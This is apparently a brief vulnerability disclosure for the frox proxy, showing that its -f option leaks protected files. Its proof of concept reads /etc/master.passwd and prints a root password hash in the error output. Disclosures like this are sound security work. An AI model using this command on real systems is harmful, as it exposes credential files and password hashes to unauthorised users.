Frox has a security risk which allows any user to read protected files on the system. This is because of the way frox handles the loading of configuration files. The problem exists in the -f option ( which specifies the configuration file): POC: q(rotor () r0t0r 0daysecurity com) mq(/usr/local/sbin)-> frox -f /etc/master.passwd Unrecognised option "root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::0:0:Charlie" at line 3 of /etc/master.passwd Error reading configuration file lq(rotor () r0t0r 0daysecurity com) mq(/usr/local/sbin)-> Vender Has not Been Notified.
